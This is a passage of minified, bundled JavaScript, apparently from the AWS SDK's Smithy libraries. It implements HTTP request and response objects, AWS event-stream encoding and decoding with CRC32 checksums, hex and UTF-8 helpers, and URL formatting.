w14{entries={};encoding;constructor({fields:A=[],encoding:K="utf-8"}){A.forEach(this.setField.bind(this)),this.encoding=K}setField(A){this.entries[A.name.toLowerCase()]=A}getField(A){return this.entries[A.toLowerCase()]}removeField(A){delete this.entries[A.toLowerCase()]}getByType(A){return Object.values(this.entries).filter((K)=>K.kind===A)}}class r41{method;protocol;hostname;port;path;query;headers;username;password;fragment;body;constructor(A){this.method=A.method||"GET",this.hostname=A.hostname||"localhost",this.port=A.port,this.query=A.query||{},this.headers=A.headers||{},this.body=A.body,this.protocol=A.protocol?A.protocol.slice(-1)!==":"?`${A.protocol}:`:A.protocol:"https:",this.path=A.path?A.path.charAt(0)!=="/"?`/${A.path}`:A.path:"/",this.username=A.username,this.password=A.password,this.fragment=A.fragment}static clone(A){let K=new r41({...A,headers:{...A.headers}});if(K.query)K.query=QM3(K.query);return K}static isInstance(A){if(!A)return!1;let K=A;return"method"in K&&"protocol"in K&&"hostname"in K&&"path"in K&&typeof K.query==="object"&&typeof K.headers==="object"}clone(){return r41.clone(this)}}function QM3(A){return Object.keys(A).reduce((K,q)=>{let Y=A[q];return{...K,[q]:Array.isArray(Y)?[...Y]:Y}},{})}class H14{statusCode;reason;headers;body;constructor(A){this.statusCode=A.statusCode,this.reason=A.reason,this.headers=A.headers||{},this.body=A.body}static isInstance(A){if(!A)return!1;let K=A;return typeof K.statusCode==="number"&&typeof K.headers==="object"}}function UM3(A){return/^[a-z0-9][a-z0-9\.\-]*[a-z0-9]$/.test(A)}pM3.Field=z14;pM3.Fields=w14;pM3.HttpRequest=r41;pM3.HttpResponse=H14;pM3.getHttpHandlerExtensionConfiguration=gM3;pM3.isValidHostname=UM3;pM3.resolveHttpHandlerRuntimeConfig=FM3});var Z14=v((tM3)=>{var O14=J14();function aM3(A){let{signer:K,signer:q}=A,Y=Object.assign(A,{eventSigner:K,messageSigner:q}),z=Y.eventStreamPayloadHandlerProvider(Y);return Object.assign(Y,{eventStreamPayloadHandler:z})}var X14=(A)=>(K,q)=>async(Y)=>{let{request:z}=Y;if(!O14.HttpRequest.isInstance(z))return K(Y);return A.eventStreamPayloadHandler.handle(K,Y,q)},$14={tags:["EVENT_STREAM","SIGNATURE","HANDLE"],name:"eventStreamHandlingMiddleware",relation:"after",toMiddleware:"awsAuthMiddleware",override:!0},_14=(A)=>async(K)=>{let{request:q}=K;if(!O14.HttpRequest.isInstance(q))return A(K);return q.headers={...q.headers,"content-type":"application/vnd.amazon.eventstream","x-amz-content-sha256":"STREAMING-AWS4-HMAC-SHA256-EVENTS"},A({...K,request:q})},G14={step:"build",tags:["EVENT_STREAM","HEADER","CONTENT_TYPE","CONTENT_SHA256"],name:"eventStreamHeaderMiddleware",override:!0},sM3=(A)=>({applyToStack:(K)=>{K.addRelativeTo(X14(A),$14),K.add(_14,G14)}});tM3.eventStreamHandlingMiddleware=X14;tM3.eventStreamHandlingMiddlewareOptions=$14;tM3.eventStreamHeaderMiddleware=_14;tM3.eventStreamHeaderMiddlewareOptions=G14;tM3.getEventStreamPlugin=sM3;tM3.resolveEventStreamConfig=aM3});var j14=v((pAw,D14)=>{var{defineProperty:o41,getOwnPropertyDescriptor:wP3,getOwnPropertyNames:HP3}=Object,JP3=Object.prototype.hasOwnProperty,OP3=(A,K)=>o41(A,"name",{value:K,configurable:!0}),XP3=(A,K)=>{for(var q in K)o41(A,q,{get:K[q],enumerable:!0})},$P3=(A,K,q,Y)=>{if(K&&typeof K==="object"||typeof K==="function"){for(let z of HP3(K))if(!JP3.call(A,z)&&z!==q)o41(A,z,{get:()=>K[z],enumerable:!(Y=wP3(K,z))||Y.enumerable})}return A},_P3=(A)=>$P3(o41({},"__esModule",{value:!0}),A),W14={};XP3(W14,{isArrayBuffer:()=>GP3});D14.exports=_P3(W14);var GP3=OP3((A)=>typeof ArrayBuffer==="function"&&A instanceof ArrayBuffer||Object.prototype.toString.call(A)==="[object ArrayBuffer]","isArrayBuffer")});var N8A=v((dAw,V14)=>{var{defineProperty:a41,getOwnPropertyDescriptor:ZP3,getOwnPropertyNames:WP3}=Object,DP3=Object.prototype.hasOwnProperty,M14=(A,K)=>a41(A,"name",{value:K,configurable:!0}),jP3=(A,K)=>{for(var q in K)a41(A,q,{get:K[q],enumerable:!0})},MP3=(A,K,q,Y)=>{if(K&&typeof K==="object"||typeof K==="function"){for(let z of WP3(K))if(!DP3.call(A,z)&&z!==q)a41(A,z,{get:()=>K[z],enumerable:!(Y=ZP3(K,z))||Y.enumerable})}return A},PP3=(A)=>MP3(a41({},"__esModule",{value:!0}),A),P14={};jP3(P14,{fromArrayBuffer:()=>fP3,fromString:()=>NP3});V14.exports=PP3(P14);var VP3=j14(),jA6=CA("buffer"),fP3=M14((A,K=0,q=A.byteLength-K)=>{if(!(0,VP3.isArrayBuffer)(A))throw TypeError(`The "input" argument must be ArrayBuffer. Received type ${typeof A} (${A})`);return jA6.Buffer.from(A,K,q)},"fromArrayBuffer"),NP3=M14((A,K)=>{if(typeof A!=="string")throw TypeError(`The "input" argument must be of type string. Received type ${typeof A} (${A})`);return K?jA6.Buffer.from(A,K):jA6.Buffer.from(A)},"fromString")});var E14=v((cAw,v14)=>{var{defineProperty:s41,getOwnPropertyDescriptor:TP3,getOwnPropertyNames:vP3}=Object,EP3=Object.prototype.hasOwnProperty,MA6=(A,K)=>s41(A,"name",{value:K,configurable:!0}),kP3=(A,K)=>{for(var q in K)s41(A,q,{get:K[q],enumerable:!0})},CP3=(A,K,q,Y)=>{if(K&&typeof K==="object"||typeof K==="function"){for(let z of vP3(K))if(!EP3.call(A,z)&&z!==q)s41(A,z,{get:()=>K[z],enumerable:!(Y=TP3(K,z))||Y.enumerable})}return A},LP3=(A)=>CP3(s41({},"__esModule",{value:!0}),A),f14={};kP3(f14,{fromUtf8:()=>T14,toUint8Array:()=>RP3,toUtf8:()=>yP3});v14.exports=LP3(f14);var N14=N8A(),T14=MA6((A)=>{let K=(0,N14.fromString)(A,"utf8");return new Uint8Array(K.buffer,K.byteOffset,K.byteLength/Uint8Array.BYTES_PER_ELEMENT)},"fromUtf8"),RP3=MA6((A)=>{if(typeof A==="string")return T14(A);if(ArrayBuffer.isView(A))return new Uint8Array(A.buffer,A.byteOffset,A.byteLength/Uint8Array.BYTES_PER_ELEMENT);return new Uint8Array(A)},"toUint8Array"),yP3=MA6((A)=>{if(typeof A==="string")return A;if(typeof A!=="object"||typeof A.byteOffset!=="number"||typeof A.byteLength!=="number")throw Error("@smithy/util-utf8: toUtf8 encoder function only accepts string | Uint8Array.");return(0,N14.fromArrayBuffer)(A.buffer,A.byteOffset,A.byteLength).toString("utf8")},"toUtf8")});var L14=v((k14)=>{Object.defineProperty(k14,"__esModule",{value:!0});k14.convertToBuffer=void 0;var IP3=E14(),SP3=typeof Buffer<"u"&&Buffer.from?function(A){return Buffer.from(A,"utf8")}:IP3.fromUtf8;function hP3(A){if(A instanceof Uint8Array)return A;if(typeof A==="string")return SP3(A);if(ArrayBuffer.isView(A))return new Uint8Array(A.buffer,A.byteOffset,A.byteLength/Uint8Array.BYTES_PER_ELEMENT);return new Uint8Array(A)}k14.convertToBuffer=hP3});var I14=v((R14)=>{Object.defineProperty(R14,"__esModule",{value:!0});R14.isEmptyData=void 0;function bP3(A){if(typeof A==="string")return A.length===0;return A.byteLength===0}R14.isEmptyData=bP3});var b14=v((S14)=>{Object.defineProperty(S14,"__esModule",{value:!0});S14.numToUint8=void 0;function xP3(A){return new Uint8Array([(A&4278190080)>>24,(A&16711680)>>16,(A&65280)>>8,A&255])}S14.numToUint8=xP3});var B14=v((x14)=>{Object.defineProperty(x14,"__esModule",{value:!0});x14.uint32ArrayFrom=void 0;function uP3(A){if(!Uint32Array.from){var K=new Uint32Array(A.length),q=0;while(q<A.length)K[q]=A[q],q+=1;return K}return Uint32Array.from(A)}x14.uint32ArrayFrom=uP3});var PA6=v((iOA)=>{Object.defineProperty(iOA,"__esModule",{value:!0});iOA.uint32ArrayFrom=iOA.numToUint8=iOA.isEmptyData=iOA.convertToBuffer=void 0;var BP3=L14();Object.defineProperty(iOA,"convertToBuffer",{enumerable:!0,get:function(){return BP3.convertToBuffer}});var mP3=I14();Object.defineProperty(iOA,"isEmptyData",{enumerable:!0,get:function(){return mP3.isEmptyData}});var gP3=b14();Object.defineProperty(iOA,"numToUint8",{enumerable:!0,get:function(){return gP3.numToUint8}});var FP3=B14();Object.defineProperty(iOA,"uint32ArrayFrom",{enumerable:!0,get:function(){return FP3.uint32ArrayFrom}})});var U14=v((F14)=>{Object.defineProperty(F14,"__esModule",{value:!0});F14.AwsCrc32=void 0;var m14=Uz(),VA6=PA6(),g14=fA6(),UP3=function(){function A(){this.crc32=new g14.Crc32}return A.prototype.update=function(K){if((0,VA6.isEmptyData)(K))return;this.crc32.update((0,VA6.convertToBuffer)(K))},A.prototype.digest=function(){return m14.__awaiter(this,void 0,void 0,function(){return m14.__generator(this,function(K){return[2,(0,VA6.numToUint8)(this.crc32.digest())]})})},A.prototype.reset=function(){this.crc32=new g14.Crc32},A}();F14.AwsCrc32=UP3});var fA6=v((NA6)=>{Object.defineProperty(NA6,"__esModule",{value:!0});NA6.AwsCrc32=NA6.Crc32=NA6.crc32=void 0;var pP3=Uz(),dP3=PA6();function cP3(A){return new p14().update(A).digest()}NA6.crc32=cP3;var p14=function(){function A(){this.checksum=4294967295}return A.prototype.update=function(K){var q,Y;try{for(var z=pP3.__values(K),w=z.next();!w.done;w=z.next()){var H=w.value;this.checksum=this.checksum>>>8^iP3[(this.checksum^H)&255]}}catch(J){q={error:J}}finally{try{if(w&&!w.done&&(Y=z.return))Y.call(z)}finally{if(q)throw q.error}}return this},A.prototype.digest=function(){return(this.checksum^4294967295)>>>0},A}();NA6.Crc32=p14;var lP3=[0,1996959894,3993919788,2567524794,124634137,1886057615,3915621685,2657392035,249268274,2044508324,3772115230,2547177864,162941995,2125561021,3887607047,2428444049,498536548,1789927666,4089016648,2227061214,450548861,1843258603,4107580753,2211677639,325883990,1684777152,4251122042,2321926636,335633487,1661365465,4195302755,2366115317,997073096,1281953886,3579855332,2724688242,1006888145,1258607687,3524101629,2768942443,901097722,1119000684,3686517206,2898065728,853044451,1172266101,3705015759,2882616665,651767980,1373503546,3369554304,3218104598,565507253,1454621731,3485111705,3099436303,671266974,1594198024,3322730930,2970347812,795835527,1483230225,3244367275,3060149565,1994146192,31158534,2563907772,4023717930,1907459465,112637215,2680153253,3904427059,2013776290,251722036,2517215374,3775830040,2137656763,141376813,2439277719,3865271297,1802195444,476864866,2238001368,4066508878,1812370925,453092731,2181625025,4111451223,1706088902,314042704,2344532202,4240017532,1658658271,366619977,2362670323,4224994405,1303535960,984961486,2747007092,3569037538,1256170817,1037604311,2765210733,3554079995,1131014506,879679996,2909243462,3663771856,1141124467,855842277,2852801631,3708648649,1342533948,654459306,3188396048,3373015174,1466479909,544179635,3110523913,3462522015,1591671054,702138776,2966460450,3352799412,1504918807,783551873,3082640443,3233442989,3988292384,2596254646,62317068,1957810842,3939845945,2647816111,81470997,1943803523,3814918930,2489596804,225274430,2053790376,3826175755,2466906013,167816743,2097651377,4027552580,2265490386,503444072,1762050814,4150417245,2154129355,426522225,1852507879,4275313526,2312317920,282753626,1742555852,4189708143,2394877945,397917763,1622183637,3604390888,2714866558,953729732,1340076626,3518719985,2797360999,1068828381,1219638859,3624741850,2936675148,906185462,1090812512,3747672003,2825379669,829329135,1181335161,3412177804,3160834842,628085408,1382605366,3423369109,3138078467,570562233,1426400815,3317316542,2998733608,733239954,1555261956,3268935591,3050360625,752459403,1541320221,2607071920,3965973030,1969922972,40735498,2617837225,3943577151,1913087877,83908371,2512341634,3803740692,2075208622,213261112,2463272603,3855990285,2094854071,198958881,2262029012,4057260610,1759359992,534414190,2176718541,4139329115,1873836001,414664567,2282248934,4279200368,1711684554,285281116,2405801727,4167216745,1634467795,376229701,2685067896,3608007406,1308918612,956543938,2808555105,3495958263,1231636301,1047427035,2932959818,3654703836,1088359270,936918000,2847714899,3736837829,1202900863,817233897,3183342108,3401237130,1404277552,615818150,3134207493,3453421203,1423857449,601450431,3009837614,3294710456,1567103746,711928724,3020668471,3272380065,1510334235,755167117],iP3=(0,dP3.uint32ArrayFrom)(lP3),nP3=U14();Object.defineProperty(NA6,"AwsCrc32",{enumerable:!0,get:function(){return nP3.AwsCrc32}})});var c14=v((eP3)=>{var d14={},TA6={};for(let A=0;A<256;A++){let K=A.toString(16).toLowerCase();if(K.length===1)K=`0${K}`;d14[A]=K,TA6[K]=A}function sP3(A){if(A.length%2!==0)throw Error("Hex encoded strings must have an even number length");let K=new Uint8Array(A.length/2);for(let q=0;q<A.length;q+=2){let Y=A.slice(q,q+2).toLowerCase();if(Y in TA6)K[q/2]=TA6[Y];else throw Error(`Cannot decode unrecognized sequence ${Y} as hexadecimal`)}return K}function tP3(A){let K="";for(let q=0;q<A.byteLength;q++)K+=d14[A[q]];return K}eP3.fromHex=sP3;eP3.toHex=tP3});var gLA=v((ZV3)=>{var n14=fA6(),T8A=c14();class nOA{bytes;constructor(A){if(this.bytes=A,A.byteLength!==8)throw Error("Int64 buffers must be exactly 8 bytes")}static fromNumber(A){if(A>9223372036854776000||A<-9223372036854776000)throw Error(`${A} is too large (or, if negative, too small) to represent as an Int64`);let K=new Uint8Array(8);for(let q=7,Y=Math.abs(Math.round(A));q>-1&&Y>0;q--,Y/=256)K[q]=Y;if(A<0)l14(K);return new nOA(K)}valueOf(){let A=this.bytes.slice(0),K=A[0]&128;if(K)l14(A);return parseInt(T8A.toHex(A),16)*(K?-1:1)}toString(){return String(this.valueOf())}}function l14(A){for(let K=0;K<8;K++)A[K]^=255;for(let K=7;K>-1;K--)if(A[K]++,A[K]!==0)break}class vA6{toUtf8;fromUtf8;constructor(A,K){this.toUtf8=A,this.fromUtf8=K}format(A){let K=[];for(let z of Object.keys(A)){let w=this.fromUtf8(z);K.push(Uint8Array.from([w.byteLength]),w,this.formatHeaderValue(A[z]))}let q=new Uint8Array(K.reduce((z,w)=>z+w.byteLength,0)),Y=0;for(let z of K)q.set(z,Y),Y+=z.byteLength;return q}formatHeaderValue(A){switch(A.type){case"boolean":return Uint8Array.from([A.value?0:1]);case"byte":return Uint8Array.from([2,A.value]);case"short":let K=new DataView(new ArrayBuffer(3));return K.setUint8(0,3),K.setInt16(1,A.value,!1),new Uint8Array(K.buffer);case"integer":let q=new DataView(new ArrayBuffer(5));return q.setUint8(0,4),q.setInt32(1,A.value,!1),new Uint8Array(q.buffer);case"long":let Y=new Uint8Array(9);return Y[0]=5,Y.set(A.value.bytes,1),Y;case"binary":let z=new DataView(new ArrayBuffer(3+A.value.byteLength));z.setUint8(0,6),z.setUint16(1,A.value.byteLength,!1);let w=new Uint8Array(z.buffer);return w.set(A.value,3),w;case"string":let H=this.fromUtf8(A.value),J=new DataView(new ArrayBuffer(3+H.byteLength));J.setUint8(0,7),J.setUint16(1,H.byteLength,!1);let O=new Uint8Array(J.buffer);return O.set(H,3),O;case"timestamp":let X=new Uint8Array(9);return X[0]=8,X.set(nOA.fromNumber(A.value.valueOf()).bytes,1),X;case"uuid":if(!$V3.test(A.value))throw Error(`Invalid UUID received: ${A.value}`);let $=new Uint8Array(17);return $[0]=9,$.set(T8A.fromHex(A.value.replace(/\-/g,"")),1),$}}parse(A){let K={},q=0;while(q<A.byteLength){let Y=A.getUint8(q++),z=this.toUtf8(new Uint8Array(A.buffer,A.byteOffset+q,Y));switch(q+=Y,A.getUint8(q++)){case 0:K[z]={type:i14,value:!0};break;case 1:K[z]={type:i14,value:!1};break;case 2:K[z]={type:qV3,value:A.getInt8(q++)};break;case 3:K[z]={type:YV3,value:A.getInt16(q,!1)},q+=2;break;case 4:K[z]={type:zV3,value:A.getInt32(q,!1)},q+=4;break;case 5:K[z]={type:wV3,value:new nOA(new Uint8Array(A.buffer,A.byteOffset+q,8))},q+=8;break;case 6:let w=A.getUint16(q,!1);q+=2,K[z]={type:HV3,value:new Uint8Array(A.buffer,A.byteOffset+q,w)},q+=w;break;case 7:let H=A.getUint16(q,!1);q+=2,K[z]={type:JV3,value:this.toUtf8(new Uint8Array(A.buffer,A.byteOffset+q,H))},q+=H;break;case 8:K[z]={type:OV3,value:new Date(new nOA(new Uint8Array(A.buffer,A.byteOffset+q,8)).valueOf())},q+=8;break;case 9:let J=new Uint8Array(A.buffer,A.byteOffset+q,16);q+=16,K[z]={type:XV3,value:`${T8A.toHex(J.subarray(0,4))}-${T8A.toHex(J.subarray(4,6))}-${T8A.toHex(J.subarray(6,8))}-${T8A.toHex(J.subarray(8,10))}-${T8A.toHex(J.subarray(10))}`};break;default:throw Error("Unrecognized header type tag")}}return K}}var i14="boolean",qV3="byte",YV3="short",zV3="integer",wV3="long",HV3="binary",JV3="string",OV3="timestamp",XV3="uuid",$V3=/^[a-f0-9]{8}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{12}$/,r14=4,fn=r14*2,v8A=4,_V3=fn+v8A*2;function GV3({byteLength:A,byteOffset:K,buffer:q}){if(A<_V3)throw Error("Provided message too short to accommodate event stream message overhead");let Y=new DataView(q,K,A),z=Y.getUint32(0,!1);if(A!==z)throw Error("Reported message length does not match received message length");let w=Y.getUint32(r14,!1),H=Y.getUint32(fn,!1),J=Y.getUint32(A-v8A,!1),O=new n14.Crc32().update(new Uint8Array(q,K,fn));if(H!==O.digest())throw Error(`The prelude checksum specified in the message (${H}) does not match the calculated CRC32 checksum (${O.digest()})`);if(O.update(new Uint8Array(q,K+fn,A-(fn+v8A))),J!==O.digest())throw Error(`The message checksum (${O.digest()}) did not match the expected value of ${J}`);return{headers:new DataView(q,K+fn+v8A,w),body:new Uint8Array(q,K+fn+v8A+w,z-w-(fn+v8A+v8A))}}class o14{headerMarshaller;messageBuffer;isEndOfStream;constructor(A,K){this.headerMarshaller=new vA6(A,K),this.messageBuffer=[],this.isEndOfStream=!1}feed(A){this.messageBuffer.push(this.decode(A))}endOfStream(){this.isEndOfStream=!0}getMessage(){let A=this.messageBuffer.pop(),K=this.isEndOfStream;return{getMessage(){return A},isEndOfStream(){return K}}}getAvailableMessages(){let A=this.messageBuffer;this.messageBuffer=[];let K=this.isEndOfStream;return{getMessages(){return A},isEndOfStream(){return K}}}encode({headers:A,body:K}){let q=this.headerMarshaller.format(A),Y=q.byteLength+K.byteLength+16,z=new Uint8Array(Y),w=new DataView(z.buffer,z.byteOffset,z.byteLength),H=new n14.Crc32;return w.setUint32(0,Y,!1),w.setUint32(4,q.byteLength,!1),w.setUint32(8,H.update(z.subarray(0,8)).digest(),!1),z.set(q,12),z.set(K,q.byteLength+12),w.setUint32(Y-4,H.update(z.subarray(8,Y-4)).digest(),!1),z}decode(A){let{headers:K,body:q}=GV3(A);return{headers:this.headerMarshaller.parse(K),body:q}}formatHeaders(A){return this.headerMarshaller.format(A)}}class a14{options;constructor(A){this.options=A}[Symbol.asyncIterator](){return this.asyncIterator()}async*asyncIterator(){for await(let A of this.options.inputStream)yield this.options.decoder.decode(A)}}class s14{options;constructor(A){this.options=A}[Symbol.asyncIterator](){return this.asyncIterator()}async*asyncIterator(){for await(let A of this.options.messageStream)yield this.options.encoder.encode(A);if(this.options.includeEndFrame)yield new Uint8Array(0)}}class t14{options;constructor(A){this.options=A}[Symbol.asyncIterator](){return this.asyncIterator()}async*asyncIterator(){for await(let A of this.options.messageStream){let K=await this.options.deserializer(A);if(K===void 0)continue;yield K}}}class e14{options;constructor(A){this.options=A}[Symbol.asyncIterator](){return this.asyncIterator()}async*asyncIterator(){for await(let A of this.options.inputStream)yield this.options.serializer(A)}}ZV3.EventStreamCodec=o14;ZV3.HeaderMarshaller=vA6;ZV3.Int64=nOA;ZV3.MessageDecoderStream=a14;ZV3.MessageEncoderStream=s14;ZV3.SmithyMessageDecoderStream=t14;ZV3.SmithyMessageEncoderStream=e14});var K64=v((vV3)=>{var A64={},EA6={};for(let A=0;A<256;A++){let K=A.toString(16).toLowerCase();if(K.length===1)K=`0${K}`;A64[A]=K,EA6[K]=A}function NV3(A){if(A.length%2!==0)throw Error("Hex encoded strings must have an even number length");let K=new Uint8Array(A.length/2);for(let q=0;q<A.length;q+=2){let Y=A.slice(q,q+2).toLowerCase();if(Y in EA6)K[q/2]=EA6[Y];else throw Error(`Cannot decode unrecognized sequence ${Y} as hexadecimal`)}return K}function TV3(A){let K="";for(let q=0;q<A.byteLength;q++)K+=A64[A[q]];return K}vV3.fromHex=NV3;vV3.toHex=TV3});var q64=v((SV3)=>{SV3.HttpAuthLocation=void 0;(function(A){A.HEADER="header",A.QUERY="query"})(SV3.HttpAuthLocation||(SV3.HttpAuthLocation={}));SV3.HttpApiKeyAuthLocation=void 0;(function(A){A.HEADER="header",A.QUERY="query"})(SV3.HttpApiKeyAuthLocation||(SV3.HttpApiKeyAuthLocation={}));SV3.EndpointURLScheme=void 0;(function(A){A.HTTP="http",A.HTTPS="https"})(SV3.EndpointURLScheme||(SV3.EndpointURLScheme={}));SV3.AlgorithmId=void 0;(function(A){A.MD5="md5",A.CRC32="crc32",A.CRC32C="crc32c",A.SHA1="sha1",A.SHA256="sha256"})(SV3.AlgorithmId||(SV3.AlgorithmId={}));var CV3=(A)=>{let K=[];if(A.sha256!==void 0)K.push({algorithmId:()=>SV3.AlgorithmId.SHA256,checksumConstructor:()=>A.sha256});if(A.md5!=null)K.push({algorithmId:()=>SV3.AlgorithmId.MD5,checksumConstructor:()=>A.md5});return{addChecksumAlgorithm(q){K.push(q)},checksumAlgorithms(){return K}}},LV3=(A)=>{let K={};return A.checksumAlgorithms().forEach((q)=>{K[q.algorithmId()]=q.checksumConstructor()}),K},RV3=(A)=>{return CV3(A)},yV3=(A)=>{return LV3(A)};SV3.FieldPosition=void 0;(function(A){A[A.HEADER=0]="HEADER",A[A.TRAILER=1]="TRAILER"})(SV3.FieldPosition||(SV3.FieldPosition={}));var IV3="__smithy_context";SV3.IniSectionType=void 0;(function(A){A.PROFILE="profile",A.SSO_SESSION="sso-session",A.SERVICES="services"})(SV3.IniSectionType||(SV3.IniSectionType={}));SV3.RequestHandlerProtocol=void 0;(function(A){A.HTTP_0_9="http/0.9",A.HTTP_1_0="http/1.0",A.TDS_8_0="tds/8.0"})(SV3.RequestHandlerProtocol||(SV3.RequestHandlerProtocol={}));SV3.SMITHY_CONTEXT_KEY=IV3;SV3.getDefaultClientConfiguration=RV3;SV3.resolveDefaultRuntimeConfig=yV3});var SA6=v((QV3)=>{var uV3=q64(),BV3=(A)=>{return{setHttpHandler(K){A.httpHandler=K},httpHandler(){return A.httpHandler},updateHttpClientConfig(K,q){A.httpHandler?.updateHttpClientConfig(K,q)},httpHandlerConfigs(){return A.httpHandler.httpHandlerConfigs()}}},mV3=(A)=>{return{httpHandler:A.httpHandler()}};class Y64{name;kind;values;constructor({name:A,kind:K=uV3.FieldPosition.HEADER,values:q=[]}){this.name=A,this.kind=K,this.values=q}add(A){this.values.push(A)}set(A){this.values=A}remove(A){this.values=this.values.filter((K)=>K!==A)}toString(){return this.values.map((A)=>A.includes(",")||A.includes(" ")?`"${A}"`:A).join(", ")}get(){return this.values}}class z64{entries={};encoding;constructor({fields:A=[],encoding:K="utf-8"}){A.forEach(this.setField.bind(this)),this.encoding=K}setField(A){this.entries[A.name.toLowerCase()]=A}getField(A){return this.entries[A.toLowerCase()]}removeField(A){delete this.entries[A.toLowerCase()]}getByType(A){return Object.values(this.entries).filter((K)=>K.kind===A)}}class t41{method;protocol;hostname;port;path;query;headers;username;password;fragment;body;constructor(A){this.method=A.method||"GET",this.hostname=A.hostname||"localhost",this.port=A.port,this.query=A.query||{},this.headers=A.headers||{},this.body=A.body,this.protocol=A.protocol?A.protocol.slice(-1)!==":"?`${A.protocol}:`:A.protocol:"https:",this.path=A.path?A.path.charAt(0)!=="/"?`/${A.path}`:A.path:"/",this.username=A.username,this.password=A.password,this.fragment=A.fragment}static clone(A){let K=new t41({...A,headers:{...A.headers}});if(K.query)K.query=gV3(K.query);return K}static isInstance(A){if(!A)return!1;let K=A;return"method"in K&&"protocol"in K&&"hostname"in K&&"path"in K&&typeof K.query==="object"&&typeof K.headers==="object"}clone(){return t41.clone(this)}}function gV3(A){return Object.keys(A).reduce((K,q)=>{let Y=A[q];return{...K,[q]:Array.isArray(Y)?[...Y]:Y}},{})}class w64{statusCode;reason;headers;body;constructor(A){this.statusCode=A.statusCode,this.reason=A.reason,this.headers=A.headers||{},this.body=A.body}static isInstance(A){if(!A)return!1;let K=A;return typeof K.statusCode==="number"&&typeof K.headers==="object"}}function FV3(A){return/^[a-z0-9][a-z0-9\.\-]*[a-z0-9]$/.test(A)}QV3.Field=Y64;QV3.Fields=z64;QV3.HttpRequest=t41;QV3.HttpResponse=w64;QV3.getHttpHandlerExtensionConfiguration=BV3;QV3.isValidHostname=FV3;QV3.resolveHttpHandlerRuntimeConfig=mV3});var J64=v((aV3)=>{var H64=(A)=>encodeURIComponent(A).replace(/[!'()*]/g,rV3),rV3=(A)=>`%${A.charCodeAt(0).toString(16).toUpperCase()}`,oV3=(A)=>A.split("/").map(H64).join("/");aV3.escapeUri=H64;aV3.escapeUriPath=oV3});var O64=v((Af3)=>{var hA6=J64();function eV3(A){let K=[];for(let q of Object.keys(A).sort()){let Y=A[q];if(q=hA6.escapeUri(q),Array.isArray(Y))for(let z=0,w=Y.length;z<w;z++)K.push(`${q}=${hA6.escapeUri(Y[z])}`);else{let z=q;if(Y||typeof Y==="string")z+=`=${hA6.escapeUri(Y)}`;K.push(z)}}return K.join("&")}Af3.buildQueryString=eV3});var X64=v((zf3)=>{var qf3=O64();function Yf3(A){let{port:K,query:q}=A,{protocol:Y,path:z,hostname:w}=A;if(Y&&Y.slice(-1)!==":")Y+=":";if(K)w+=`:${K}`;if(z&&z.charAt(0)!=="/")z=`/${z}`;let H=q?qf3.buildQueryString(q):"";if(H&&H[0]!=="?")H=`?${H}`;let J="";if(A.username!=null||A.password!=null){let X=A.username??"",$=A.password??"";J=`${X}:${$}@`}let O="";if(A.fragment)O=`#${A.fragment}`;return`${Y}//${J}${w}${z}${H}${O}`}zf3.formatUrl=Yf3});var $64=v((Xf3)=>{var QLA=gLA();function Hf3(A){let K=0,q=0,Y=null,z=null,w=(J)=>{if(typeof J!=="number")throw Error("Attempted to allocate an event message where size was not a number: "+J);K=J,q=4,Y=new Uint8Array(J),new DataView(Y.buffer).setUint32(0,J,!1)},H=async function*(){let J=A[Symbol.asyncIterator]();while(!0){let{value:O,done:X}=await J.next();if(X){if(!K)return;else if(K===q)yield Y;else throw Error("Truncated event message received.");return}let $=O.length,_=0;while(_<$){if(!Y){let Z=$-_;if(!z)z=new Uint8Array(4);let W=Math.min(4-q,Z);if(z.set(O.slice(_,_+W),q),q+=W,_+=W,q<4)break;w(new DataView(z.buffer).getUint32(0,!1)),z=null}let G=Math.min(K-q,$-_);if(Y.set(O.slice(_,_+G),q),q+=G,_+=G,K&&K===q)yield Y,Y=null,K=0,q=0}}};return{[Symbol.asyncIterator]:H}}function Jf3(A,K){return async function(q){let{value:Y}=q.headers[":message-type"];if(Y==="error"){let z=Error(q.headers[":error-message"].value||"UnknownError");throw z.name=q.headers[":error-code"].value,z}else if(Y==="exception"){let z=q.headers[":exception-type"].value,w={[z]:q},H=await A(w);if(H.$unknown){let J=Error(K(q.body));throw J.name=z,J}throw H[z]}else if(Y==="event"){let z={[q.headers[":event-type"].value]:q},w=await A(z);if(w.$unknown)return;return w}else throw Error(`Unrecognizable event type: ${q.headers[":event-type"].value}`)}}class bA6{eventStreamCodec;utfEncoder;constructor({utf8Encoder:A,utf8Decoder:K}){this.eventStreamCodec=new QLA.EventStreamCodec(A,K),this.utfEncoder=A}deserialize(A,K){let q=Hf3(A);return new QLA.SmithyMessageDecoderStream({messageStream:new QLA.MessageDecoderStream({inputStream:q,decoder:this.eventStreamCodec}),deserializer:Jf3(K,this.utfEncoder)})}serialize(A,K){return new QLA.MessageEncoderStream({messageStream:new QLA.SmithyMessageEncoderStream({inputStream:A,serializer:K}),encoder:this.eventStreamCodec,includeEndFrame:!0})}}var Of3=(A)=>new bA6(A);Xf3.EventStreamMarshaller=bA6;Xf3.eventStreamSerdeProvider=Of3});var Z64=v((Df3)=>{var Gf3=$64(),_64=(A)=>({[Symbol.asyncIterator]:async function*(){let K=A.getReader();try{while(!0){let{done:q,value:Y}=await K.read();if(q)return;yield Y}}finally{K.releaseLock()}}}),G64=(A)=>{let K=A[Symbol.asyncIterator]();return new ReadableStream({async pull(q){let{done:Y,value:z}=await K.next();if(Y)return q.close();q.enqueue(z)}})};class xA6{universalMarshaller;constructor({utf8Encoder:A,utf8Decoder:K}){this.universalMarshaller=new Gf3.EventStreamMarshaller({utf8Decoder:K,utf8Encoder:A})}deserialize(A,K){let q=Zf3(A)?_64(A):A;return this.universalMarshaller.deserialize(q,K)}serialize(A,K){let q=this.universalMarshaller.serialize(A,K);return typeof ReadableStream==="function"?G64(q):q}}var Zf3=(A)=>typeof ReadableStream==="function"&&A instanceof ReadableStream,Wf3=(A)=>new xA6(A);Df3.EventStreamMarshaller=xA6;Df3.eventStreamSerdeProvider=Wf3;Df3.iterableToReadableStream=G64;Df3.readableStreamtoIterable=_64});var D64=v((Tf3)=>{var W64=(A)=>encodeURIComponent(A).replace(/[!'()*]/g,ff3),ff3=(A)=>`%${A.charCodeAt(0).toString(16).toUpperCase()}`,Nf3=(A)=>A.split("/").map(W64).join("/");Tf3.escapeUri=W64;Tf3.escapeUriPath=Nf3});var j64=v((Cf3)=>{var uA6=D64();function kf3(A){let K=[];for(let q of Object.keys(A).sort()){let Y=A[q];if(q=uA6.escapeUri(q),Array.isArray(Y))for(let 